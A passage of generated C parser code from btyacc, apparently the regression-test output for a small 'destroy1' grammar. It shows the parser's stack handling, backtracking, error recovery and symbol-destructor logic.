static const char *const destroy1_rule[] = {
"$accept : declaration",
"declaration : class type namelist '(' class ',' type ')'",
"declaration : type locnamelist '(' class ')'",
"class : GLOBAL",
"class : LOCAL",
"type : REAL",
"type : INTEGER",
"namelist : namelist NAME",
"namelist : NAME",
"locnamelist : namelist '(' LOCAL ',' type ')'",
};
#endif
#if YYDEBUG
int yydebug;
#endif
int yyerrflag;
int yychar;
YYSTYPE yyval;
YYSTYPE yylval;
int yynerrs;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYLTYPE yyloc; /* position returned by actions */
YYLTYPE yylloc; /* position from the lexer */
#endif
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
#ifndef YYLLOC_DEFAULT
#define YYLLOC_DEFAULT(loc, rhs, n) \
do \
{ \
if (n == 0) \
{ \
(loc).first_line = YYRHSLOC(rhs, 0).last_line; \
(loc).first_column = YYRHSLOC(rhs, 0).last_column; \
(loc).last_line = YYRHSLOC(rhs, 0).last_line; \
(loc).last_column = YYRHSLOC(rhs, 0).last_column; \
} \
else \
{ \
(loc).first_line = YYRHSLOC(rhs, 1).first_line; \
(loc).first_column = YYRHSLOC(rhs, 1).first_column; \
(loc).last_line = YYRHSLOC(rhs, n).last_line; \
(loc).last_column = YYRHSLOC(rhs, n).last_column; \
} \
} while (0)
#endif /* YYLLOC_DEFAULT */
#endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */
#if YYBTYACC
#ifndef YYLVQUEUEGROWTH
#define YYLVQUEUEGROWTH 32
#endif
#endif /* YYBTYACC */
/* define the initial stack-sizes */
#ifdef YYSTACKSIZE
#undef YYMAXDEPTH
#define YYMAXDEPTH YYSTACKSIZE
#else
#ifdef YYMAXDEPTH
#define YYSTACKSIZE YYMAXDEPTH
#else
#define YYSTACKSIZE 10000
#define YYMAXDEPTH 10000
#endif
#endif
#ifndef YYINITSTACKSIZE
#define YYINITSTACKSIZE 200
#endif
typedef struct {
unsigned stacksize;
YYINT *s_base;
YYINT *s_mark;
YYINT *s_last;
YYSTYPE *l_base;
YYSTYPE *l_mark;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYLTYPE *p_base;
YYLTYPE *p_mark;
#endif
} YYSTACKDATA;
#if YYBTYACC
struct YYParseState_s
{
struct YYParseState_s *save; /* Previously saved parser state */
YYSTACKDATA yystack; /* saved parser stack */
int state; /* saved parser state */
int errflag; /* saved error recovery status */
int lexeme; /* saved index of the conflict lexeme in the lexical queue */
YYINT ctry; /* saved index in yyctable[] for this conflict */
};
typedef struct YYParseState_s YYParseState;
#endif /* YYBTYACC */
/* variables for the parser stack */
static YYSTACKDATA yystack;
#if YYBTYACC
/* Current parser state */
static YYParseState *yyps = 0;
/* yypath != NULL: do the full parse, starting at *yypath parser state. */
static YYParseState *yypath = 0;
/* Base of the lexical value queue */
static YYSTYPE *yylvals = 0;
/* Current position at lexical value queue */
static YYSTYPE *yylvp = 0;
/* End position of lexical value queue */
static YYSTYPE *yylve = 0;
/* The last allocated position at the lexical value queue */
static YYSTYPE *yylvlim = 0;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
/* Base of the lexical position queue */
static YYLTYPE *yylpsns = 0;
/* Current position at lexical position queue */
static YYLTYPE *yylpp = 0;
/* End position of lexical position queue */
static YYLTYPE *yylpe = 0;
/* The last allocated position at the lexical position queue */
static YYLTYPE *yylplim = 0;
#endif
/* Current position at lexical token queue */
static YYINT *yylexp = 0;
static YYINT *yylexemes = 0;
#endif /* YYBTYACC */
#line 89 "btyacc_destroy1.y"
extern int YYLEX_DECL();
extern void YYERROR_DECL();
#line 492 "btyacc_destroy1.tab.c"
/* Release memory associated with symbol. */
#if ! defined YYDESTRUCT_IS_DECLARED
static void
YYDESTRUCT_DECL()
{
switch (psymb)
{
case 263:
#line 41 "btyacc_destroy1.y"
{
namelist *p = (*val).nlist;
while (p != NULL)
{ namelist *pp = p;
p = p->next;
free(pp->s); free(pp);
}
}
#line 511 "btyacc_destroy1.tab.c"
break;
}
}
#define YYDESTRUCT_IS_DECLARED 1
#endif
/* For use in generated program */
#define yydepth (int)(yystack.s_mark - yystack.s_base)
#if YYBTYACC
#define yytrial (yyps->save)
#endif /* YYBTYACC */
#if YYDEBUG
#include <stdio.h> /* needed for printf */
#endif
#include <stdlib.h> /* needed for malloc, etc */
#include <string.h> /* needed for memset */
/* allocate initial stack or double stack size, up to YYMAXDEPTH */
static int yygrowstack(YYSTACKDATA *data)
{
int i;
unsigned newsize;
YYINT *newss;
YYSTYPE *newvs;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYLTYPE *newps;
#endif
if ((newsize = data->stacksize) == 0)
newsize = YYINITSTACKSIZE;
else if (newsize >= YYMAXDEPTH)
return YYENOMEM;
else if ((newsize *= 2) > YYMAXDEPTH)
newsize = YYMAXDEPTH;
i = (int) (data->s_mark - data->s_base);
newss = (YYINT *)realloc(data->s_base, newsize * sizeof(*newss));
if (newss == 0)
return YYENOMEM;
data->s_base = newss;
data->s_mark = newss + i;
newvs = (YYSTYPE *)realloc(data->l_base, newsize * sizeof(*newvs));
if (newvs == 0)
return YYENOMEM;
data->l_base = newvs;
data->l_mark = newvs + i;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
newps = (YYLTYPE *)realloc(data->p_base, newsize * sizeof(*newps));
if (newps == 0)
return YYENOMEM;
data->p_base = newps;
data->p_mark = newps + i;
#endif
data->stacksize = newsize;
data->s_last = data->s_base + newsize - 1;
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%sdebug: stack size increased to %d\n", YYPREFIX, newsize);
#endif
return 0;
}
#if YYPURE || defined(YY_NO_LEAKS)
static void yyfreestack(YYSTACKDATA *data)
{
free(data->s_base);
free(data->l_base);
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
free(data->p_base);
#endif
memset(data, 0, sizeof(*data));
}
#else
#define yyfreestack(data) /* nothing */
#endif /* YYPURE || defined(YY_NO_LEAKS) */
#if YYBTYACC
static YYParseState *
yyNewState(unsigned size)
{
YYParseState *p = (YYParseState *) malloc(sizeof(YYParseState));
if (p == NULL) return NULL;
p->yystack.stacksize = size;
if (size == 0)
{
p->yystack.s_base = NULL;
p->yystack.l_base = NULL;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
p->yystack.p_base = NULL;
#endif
return p;
}
p->yystack.s_base = (YYINT *) malloc(size * sizeof(YYINT));
if (p->yystack.s_base == NULL) return NULL;
p->yystack.l_base = (YYSTYPE *) malloc(size * sizeof(YYSTYPE));
if (p->yystack.l_base == NULL) return NULL;
memset(p->yystack.l_base, 0, size * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
p->yystack.p_base = (YYLTYPE *) malloc(size * sizeof(YYLTYPE));
if (p->yystack.p_base == NULL) return NULL;
memset(p->yystack.p_base, 0, size * sizeof(YYLTYPE));
#endif
return p;
}
static void
yyFreeState(YYParseState *p)
{
yyfreestack(&p->yystack);
free(p);
}
#endif /* YYBTYACC */
#define YYABORT goto yyabort
#define YYREJECT goto yyabort
#define YYACCEPT goto yyaccept
#define YYERROR goto yyerrlab
#if YYBTYACC
#define YYVALID do { if (yyps->save) goto yyvalid; } while(0)
#define YYVALID_NESTED do { if (yyps->save && \
yyps->save->save == 0) goto yyvalid; } while(0)
#endif /* YYBTYACC */
int
YYPARSE_DECL()
{
int yym, yyn, yystate, yyresult;
#if YYBTYACC
int yynewerrflag;
YYParseState *yyerrctx = NULL;
#endif /* YYBTYACC */
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYLTYPE yyerror_loc_range[3]; /* position of error start/end (0 unused) */
#endif
#if YYDEBUG
const char *yys;
if ((yys = getenv("YYDEBUG")) != 0)
{
yyn = *yys;
if (yyn >= '0' && yyn <= '9')
yydebug = yyn - '0';
}
if (yydebug)
fprintf(stderr, "%sdebug[<# of symbols on state stack>]\n", YYPREFIX);
#endif
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
memset(yyerror_loc_range, 0, sizeof(yyerror_loc_range));
#endif
#if YYBTYACC
yyps = yyNewState(0); if (yyps == 0) goto yyenomem;
yyps->save = 0;
#endif /* YYBTYACC */
yym = 0;
/* yyn is set below */
yynerrs = 0;
yyerrflag = 0;
yychar = YYEMPTY;
yystate = 0;
#if YYPURE
memset(&yystack, 0, sizeof(yystack));
#endif
if (yystack.s_base == NULL && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow;
yystack.s_mark = yystack.s_base;
yystack.l_mark = yystack.l_base;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark = yystack.p_base;
#endif
yystate = 0;
*yystack.s_mark = 0;
yyloop:
if ((yyn = yydefred[yystate]) != 0) goto yyreduce;
if (yychar < 0)
{
#if YYBTYACC
do {
if (yylvp < yylve)
{
/* we're currently re-reading tokens */
yylval = *yylvp++;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylloc = *yylpp++;
#endif
yychar = *yylexp++;
break;
}
if (yyps->save)
{
/* in trial mode; save scanner results for future parse attempts */
if (yylvp == yylvlim)
{ /* Enlarge lexical value queue */
size_t p = (size_t) (yylvp - yylvals);
size_t s = (size_t) (yylvlim - yylvals);
s += YYLVQUEUEGROWTH;
if ((yylexemes = (YYINT *)realloc(yylexemes, s * sizeof(YYINT))) == NULL) goto yyenomem;
if ((yylvals = (YYSTYPE *)realloc(yylvals, s * sizeof(YYSTYPE))) == NULL) goto yyenomem;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
if ((yylpsns = (YYLTYPE *)realloc(yylpsns, s * sizeof(YYLTYPE))) == NULL) goto yyenomem;
#endif
yylvp = yylve = yylvals + p;
yylvlim = yylvals + s;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpe = yylpsns + p;
yylplim = yylpsns + s;
#endif
yylexp = yylexemes + p;
}
*yylexp = (YYINT) YYLEX;
*yylvp++ = yylval;
yylve++;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*yylpp++ = yylloc;
yylpe++;
#endif
yychar = *yylexp++;
break;
}
/* normal operation, no conflict encountered */
#endif /* YYBTYACC */
yychar = YYLEX;
#if YYBTYACC
} while (0);
#endif /* YYBTYACC */
if (yychar < 0) yychar = YYEOF;
#if YYDEBUG
if (yydebug)
{
if ((yys = yyname[YYTRANSLATE(yychar)]) == NULL) yys = yyname[YYUNDFTOKEN];
fprintf(stderr, "%s[%d]: state %d, reading token %d (%s)",
YYDEBUGSTR, yydepth, yystate, yychar, yys);
#ifdef YYSTYPE_TOSTRING
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
fprintf(stderr, " <%s>", YYSTYPE_TOSTRING(yychar, yylval));
#endif
fputc('\n', stderr);
}
#endif
}
#if YYBTYACC
/* Do we have a conflict? */
if (((yyn = yycindex[yystate]) != 0) && (yyn += yychar) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yychar)
{
YYINT ctry;
if (yypath)
{
YYParseState *save;
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: CONFLICT in state %d: following successful trial parse\n",
YYDEBUGSTR, yydepth, yystate);
#endif
/* Switch to the next conflict context */
save = yypath;
yypath = save->save;
save->save = NULL;
ctry = save->ctry;
if (save->state != yystate) YYABORT;
yyFreeState(save);
}
else
{
/* Unresolved conflict - start/continue trial parse */
YYParseState *save;
#if YYDEBUG
if (yydebug)
{
fprintf(stderr, "%s[%d]: CONFLICT in state %d. ", YYDEBUGSTR, yydepth, yystate);
if (yyps->save)
fputs("ALREADY in conflict, continuing trial parse.\n", stderr);
else
fputs("Starting trial parse.\n", stderr);
}
#endif
save = yyNewState((unsigned)(yystack.s_mark - yystack.s_base + 1));
if (save == NULL) goto yyenomem;
save->save = yyps->save;
save->state = yystate;
save->errflag = yyerrflag;
save->yystack.s_mark = save->yystack.s_base + (yystack.s_mark - yystack.s_base);
memcpy (save->yystack.s_base, yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT));
save->yystack.l_mark = save->yystack.l_base + (yystack.l_mark - yystack.l_base);
memcpy (save->yystack.l_base, yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
save->yystack.p_mark = save->yystack.p_base + (yystack.p_mark - yystack.p_base);
memcpy (save->yystack.p_base, yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE));
#endif
ctry = yytable[yyn];
if (yyctable[ctry] == -1)
{
#if YYDEBUG
if (yydebug && yychar >= YYEOF)
fprintf(stderr, "%s[%d]: backtracking 1 token\n", YYDEBUGSTR, yydepth);
#endif
ctry++;
}
save->ctry = ctry;
if (yyps->save == NULL)
{
/* If this is a first conflict in the stack, start saving lexemes */
if (!yylexemes)
{
yylexemes = (YYINT *) malloc((YYLVQUEUEGROWTH) * sizeof(YYINT));
if (yylexemes == NULL) goto yyenomem;
yylvals = (YYSTYPE *) malloc((YYLVQUEUEGROWTH) * sizeof(YYSTYPE));
if (yylvals == NULL) goto yyenomem;
yylvlim = yylvals + YYLVQUEUEGROWTH;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpsns = (YYLTYPE *) malloc((YYLVQUEUEGROWTH) * sizeof(YYLTYPE));
if (yylpsns == NULL) goto yyenomem;
yylplim = yylpsns + YYLVQUEUEGROWTH;
#endif
}
if (yylvp == yylve)
{
yylvp = yylve = yylvals;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpe = yylpsns;
#endif
yylexp = yylexemes;
if (yychar >= YYEOF)
{
*yylve++ = yylval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*yylpe++ = yylloc;
#endif
*yylexp = (YYINT) yychar;
yychar = YYEMPTY;
}
}
}
if (yychar >= YYEOF)
{
yylvp--;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp--;
#endif
yylexp--;
yychar = YYEMPTY;
}
save->lexeme = (int) (yylvp - yylvals);
yyps->save = save;
}
if (yytable[yyn] == ctry)
{
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: state %d, shifting to state %d\n",
YYDEBUGSTR, yydepth, yystate, yyctable[ctry]);
#endif
if (yychar < 0)
{
yylvp++;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp++;
#endif
yylexp++;
}
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM)
goto yyoverflow;
yystate = yyctable[ctry];
*++yystack.s_mark = (YYINT) yystate;
*++yystack.l_mark = yylval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*++yystack.p_mark = yylloc;
#endif
yychar = YYEMPTY;
if (yyerrflag > 0) --yyerrflag;
goto yyloop;
}
else
{
yyn = yyctable[ctry];
goto yyreduce;
}
} /* End of code dealing with conflicts */
#endif /* YYBTYACC */
if (((yyn = yysindex[yystate]) != 0) && (yyn += yychar) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yychar)
{
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: state %d, shifting to state %d\n",
YYDEBUGSTR, yydepth, yystate, yytable[yyn]);
#endif
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow;
yystate = yytable[yyn];
*++yystack.s_mark = yytable[yyn];
*++yystack.l_mark = yylval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*++yystack.p_mark = yylloc;
#endif
yychar = YYEMPTY;
if (yyerrflag > 0) --yyerrflag;
goto yyloop;
}
if (((yyn = yyrindex[yystate]) != 0) && (yyn += yychar) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) yychar)
{
yyn = yytable[yyn];
goto yyreduce;
}
if (yyerrflag != 0) goto yyinrecovery;
#if YYBTYACC
yynewerrflag = 1;
goto yyerrhandler;
goto yyerrlab; /* redundant goto avoids 'unused label' warning */
yyerrlab:
/* explicit YYERROR from an action -- pop the rhs of the rule reduced
* before looking for error recovery */
yystack.s_mark -= yym;
yystate = *yystack.s_mark;
yystack.l_mark -= yym;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark -= yym;
#endif
yynewerrflag = 0;
yyerrhandler:
while (yyps->save)
{
int ctry;
YYParseState *save = yyps->save;
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: ERROR in state %d, CONFLICT BACKTRACKING to state %d, %d tokens\n",
YYDEBUGSTR, yydepth, yystate, yyps->save->state,
(int)(yylvp - yylvals - yyps->save->lexeme));
#endif
/* Memorize most forward-looking error state in case it's really an error. */
if (yyerrctx == NULL || yyerrctx->lexeme < yylvp - yylvals)
{
/* Free old saved error context state */
if (yyerrctx) yyFreeState(yyerrctx);
/* Create and fill out new saved error context state */
yyerrctx = yyNewState((unsigned)(yystack.s_mark - yystack.s_base + 1));
if (yyerrctx == NULL) goto yyenomem;
yyerrctx->save = yyps->save;
yyerrctx->state = yystate;
yyerrctx->errflag = yyerrflag;
yyerrctx->yystack.s_mark = yyerrctx->yystack.s_base + (yystack.s_mark - yystack.s_base);
memcpy (yyerrctx->yystack.s_base, yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT));
yyerrctx->yystack.l_mark = yyerrctx->yystack.l_base + (yystack.l_mark - yystack.l_base);
memcpy (yyerrctx->yystack.l_base, yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yyerrctx->yystack.p_mark = yyerrctx->yystack.p_base + (yystack.p_mark - yystack.p_base);
memcpy (yyerrctx->yystack.p_base, yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE));
#endif
yyerrctx->lexeme = (int) (yylvp - yylvals);
}
yylvp = yylvals + save->lexeme;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpsns + save->lexeme;
#endif
yylexp = yylexemes + save->lexeme;
yychar = YYEMPTY;
yystack.s_mark = yystack.s_base + (save->yystack.s_mark - save->yystack.s_base);
memcpy (yystack.s_base, save->yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT));
yystack.l_mark = yystack.l_base + (save->yystack.l_mark - save->yystack.l_base);
memcpy (yystack.l_base, save->yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark = yystack.p_base + (save->yystack.p_mark - save->yystack.p_base);
memcpy (yystack.p_base, save->yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE));
#endif
ctry = ++save->ctry;
yystate = save->state;
/* We tried shift, try reduce now */
if ((yyn = yyctable[ctry]) >= 0) goto yyreduce;
yyps->save = save->save;
save->save = NULL;
yyFreeState(save);
/* Nothing left on the stack -- error */
if (!yyps->save)
{
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%sdebug[%d,trial]: trial parse FAILED, entering ERROR mode\n",
YYPREFIX, yydepth);
#endif
/* Restore state as it was in the most forward-advanced error */
yylvp = yylvals + yyerrctx->lexeme;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpsns + yyerrctx->lexeme;
#endif
yylexp = yylexemes + yyerrctx->lexeme;
yychar = yylexp[-1];
yylval = yylvp[-1];
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylloc = yylpp[-1];
#endif
yystack.s_mark = yystack.s_base + (yyerrctx->yystack.s_mark - yyerrctx->yystack.s_base);
memcpy (yystack.s_base, yyerrctx->yystack.s_base, (size_t) (yystack.s_mark - yystack.s_base + 1) * sizeof(YYINT));
yystack.l_mark = yystack.l_base + (yyerrctx->yystack.l_mark - yyerrctx->yystack.l_base);
memcpy (yystack.l_base, yyerrctx->yystack.l_base, (size_t) (yystack.l_mark - yystack.l_base + 1) * sizeof(YYSTYPE));
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark = yystack.p_base + (yyerrctx->yystack.p_mark - yyerrctx->yystack.p_base);
memcpy (yystack.p_base, yyerrctx->yystack.p_base, (size_t) (yystack.p_mark - yystack.p_base + 1) * sizeof(YYLTYPE));
#endif
yystate = yyerrctx->state;
yyFreeState(yyerrctx);
yyerrctx = NULL;
}
yynewerrflag = 1;
}
if (yynewerrflag == 0) goto yyinrecovery;
#endif /* YYBTYACC */
YYERROR_CALL("syntax error");
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yyerror_loc_range[1] = yylloc; /* lookahead position is error start position */
#endif
#if !YYBTYACC
goto yyerrlab; /* redundant goto avoids 'unused label' warning */
yyerrlab:
#endif
++yynerrs;
yyinrecovery:
if (yyerrflag < 3)
{
yyerrflag = 3;
for (;;)
{
if (((yyn = yysindex[*yystack.s_mark]) != 0) && (yyn += YYERRCODE) >= 0 &&
yyn <= YYTABLESIZE && yycheck[yyn] == (YYINT) YYERRCODE)
{
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: state %d, error recovery shifting to state %d\n",
YYDEBUGSTR, yydepth, *yystack.s_mark, yytable[yyn]);
#endif
if (yystack.s_mark >= yystack.s_last && yygrowstack(&yystack) == YYENOMEM) goto yyoverflow;
yystate = yytable[yyn];
*++yystack.s_mark = yytable[yyn];
*++yystack.l_mark = yylval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
/* lookahead position is error end position */
yyerror_loc_range[2] = yylloc;
YYLLOC_DEFAULT(yyloc, yyerror_loc_range, 2); /* position of error span */
*++yystack.p_mark = yyloc;
#endif
goto yyloop;
}
else
{
#if YYDEBUG
if (yydebug)
fprintf(stderr, "%s[%d]: error recovery discarding state %d\n",
YYDEBUGSTR, yydepth, *yystack.s_mark);
#endif
if (yystack.s_mark <= yystack.s_base) goto yyabort;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
/* the current TOS position is the error start position */
yyerror_loc_range[1] = *yystack.p_mark;
#endif
#if defined(YYDESTRUCT_CALL)
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYDESTRUCT_CALL("error: discarding state",
yystos[*yystack.s_mark], yystack.l_mark, yystack.p_mark);
#else
YYDESTRUCT_CALL("error: discarding state",
yystos[*yystack.s_mark], yystack.l_mark);
#endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */
#endif /* defined(YYDESTRUCT_CALL) */
--yystack.s_mark;
--yystack.l_mark;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
--yystack.p_mark;
#endif
}
}
}
else
{
if (yychar == YYEOF) goto yyabort;
#if YYDEBUG
if (yydebug)
{
if ((yys = yyname[YYTRANSLATE(yychar)]) == NULL) yys = yyname[YYUNDFTOKEN];
fprintf(stderr, "%s[%d]: state %d, error recovery discarding token %d (%s)\n",
YYDEBUGSTR, yydepth, yystate, yychar, yys);
}
#endif
#if defined(YYDESTRUCT_CALL)
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
YYDESTRUCT_CALL("error: discarding token", yychar, &yylval, &yylloc);
#else
YYDESTRUCT_CALL("error: discarding token", yychar, &yylval);
#endif /* defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED) */
#endif /* defined(YYDESTRUCT_CALL) */
yychar = YYEMPTY;
goto yyloop;
}
yyreduce:
yym = yylen[yyn];
#if YYDEBUG
if (yydebug)
{
fprintf(stderr, "%s[%d]: state %d, reducing by rule %d (%s)",
YYDEBUGSTR, yydepth, yystate, yyn, yyrule[yyn]);
#ifdef YYSTYPE_TOSTRING
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
if (yym > 0)
{
int i;
fputc('<', stderr);
for (i = yym; i > 0; i--)
{
if (i != yym) fputs(", ", stderr);
fputs(YYSTYPE_TOSTRING(yystos[yystack.s_mark[1-i]],
yystack.l_mark[1-i]), stderr);
}
fputc('>', stderr);
}
#endif
fputc('\n', stderr);
}
#endif
if (yym > 0)
yyval = yystack.l_mark[1-yym];
else
memset(&yyval, 0, sizeof yyval);
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
/* Perform position reduction */
memset(&yyloc, 0, sizeof(yyloc));
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
{
YYLLOC_DEFAULT(yyloc, &yystack.p_mark[-yym], yym);
/* just in case YYERROR is invoked within the action, save
the start of the rhs as the error start position */
yyerror_loc_range[1] = yystack.p_mark[1-yym];
}
#endif
switch (yyn)
{
case 1:
if (!yytrial)
#line 62 "btyacc_destroy1.y"
{ yyval.nlist = yystack.l_mark[-5].nlist; }
#line 1190 "btyacc_destroy1.tab.c"
break;
case 2:
if (!yytrial)
#line 64 "btyacc_destroy1.y"
{ yyval.nlist = yystack.l_mark[-3].nlist; }
#line 1196 "btyacc_destroy1.tab.c"
break;
case 3:
if (!yytrial)
#line 67 "btyacc_destroy1.y"
{ yyval.cval = cGLOBAL; }
#line 1202 "btyacc_destroy1.tab.c"
break;
case 4:
if (!yytrial)
#line 68 "btyacc_destroy1.y"
{ yyval.cval = cLOCAL; }
#line 1208 "btyacc_destroy1.tab.c"
break;
case 5:
if (!yytrial)
#line 71 "btyacc_destroy1.y"
{ yyval.tval = tREAL; }
#line 1214 "btyacc_destroy1.tab.c"
break;
case 6:
if (!yytrial)
#line 72 "btyacc_destroy1.y"
{ yyval.tval = tINTEGER; }
#line 1220 "btyacc_destroy1.tab.c"
break;
case 7:
if (!yytrial)
#line 76 "btyacc_destroy1.y"
{ yyval.nlist->s = mksymbol(yystack.l_mark[-2].tval, yystack.l_mark[-2].cval, yystack.l_mark[0].id);
yyval.nlist->next = yystack.l_mark[-1].nlist;
}
#line 1228 "btyacc_destroy1.tab.c"
break;
case 8:
if (!yytrial)
#line 80 "btyacc_destroy1.y"
{ yyval.nlist->s = mksymbol(0, 0, yystack.l_mark[0].id);
yyval.nlist->next = NULL;
}
#line 1236 "btyacc_destroy1.tab.c"
break;
case 9:
if (!yytrial)
#line 86 "btyacc_destroy1.y"
{ yyval.nlist = yystack.l_mark[-5].nlist; }
#line 1242 "btyacc_destroy1.tab.c"
break;
#line 1244 "btyacc_destroy1.tab.c"
default:
break;
}
yystack.s_mark -= yym;
yystate = *yystack.s_mark;
yystack.l_mark -= yym;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yystack.p_mark -= yym;
#endif
yym = yylhs[yyn];
if (yystate == 0 && yym == 0)
{
#if YYDEBUG
if (yydebug)
{
fprintf(stderr, "%s[%d]: after reduction, ", YYDEBUGSTR, yydepth);
#ifdef YYSTYPE_TOSTRING
#if YYBTYACC
if (!yytrial)
#endif /* YYBTYACC */
fprintf(stderr, "result is <%s>, ", YYSTYPE_TOSTRING(yystos[YYFINAL], yyval));
#endif
fprintf(stderr, "shifting from state 0 to final state %d\n", YYFINAL);
}
#endif
yystate = YYFINAL;
*++yystack.s_mark = YYFINAL;
*++yystack.l_mark = yyval;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*++yystack.p_mark = yyloc;
#endif
if (yychar < 0)
{
#if YYBTYACC
do {
if (yylvp < yylve)
{
/* we're currently re-reading tokens */
yylval = *yylvp++;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylloc = *yylpp++;
#endif
yychar = *yylexp++;
break;
}
if (yyps->save)
{
/* in trial mode; save scanner results for future parse attempts */
if (yylvp == yylvlim)
{ /* Enlarge lexical value queue */
size_t p = (size_t) (yylvp - yylvals);
size_t s = (size_t) (yylvlim - yylvals);
s += YYLVQUEUEGROWTH;
if ((yylexemes = (YYINT *)realloc(yylexemes, s * sizeof(YYINT))) == NULL)
goto yyenomem;
if ((yylvals = (YYSTYPE *)realloc(yylvals, s * sizeof(YYSTYPE))) == NULL)
goto yyenomem;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
if ((yylpsns = (YYLTYPE *)realloc(yylpsns, s * sizeof(YYLTYPE))) == NULL)
goto yyenomem;
#endif
yylvp = yylve = yylvals + p;
yylvlim = yylvals + s;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
yylpp = yylpe = yylpsns + p;
yylplim = yylpsns + s;
#endif
yylexp = yylexemes + p;
}
*yylexp = (YYINT) YYLEX;
*yylvp++ = yylval;
yylve++;
#if defined(YYLTYPE) || defined(YYLTYPE_IS_DECLARED)
*yylpp++ = yylloc;
yylpe++;
#endif
yychar = *yylexp++;
break;
}
/* normal operation, no conflict encountered */
#endif /* YYBTYACC */
yychar = YYLEX;
#if YYBTYACC
} while (0);
#endif /* YYBTYACC */
if (yychar < 0) yychar = YYEOF;
#if YYDEBUG
if (yydebug)
{
if ((yys = yyname[YYTRANSLATE(yychar)]) == NULL) yys = yyname[YYUNDFTOKEN];
fprintf(stderr, "%s[%d]: state %d, reading token %d (%s)\n",
YYDEBUGSTR, yydepth, YYFINAL, yychar, yys);
}
#endif
}
if (yychar == YYEOF) goto yyaccept;
goto yyloop;
}
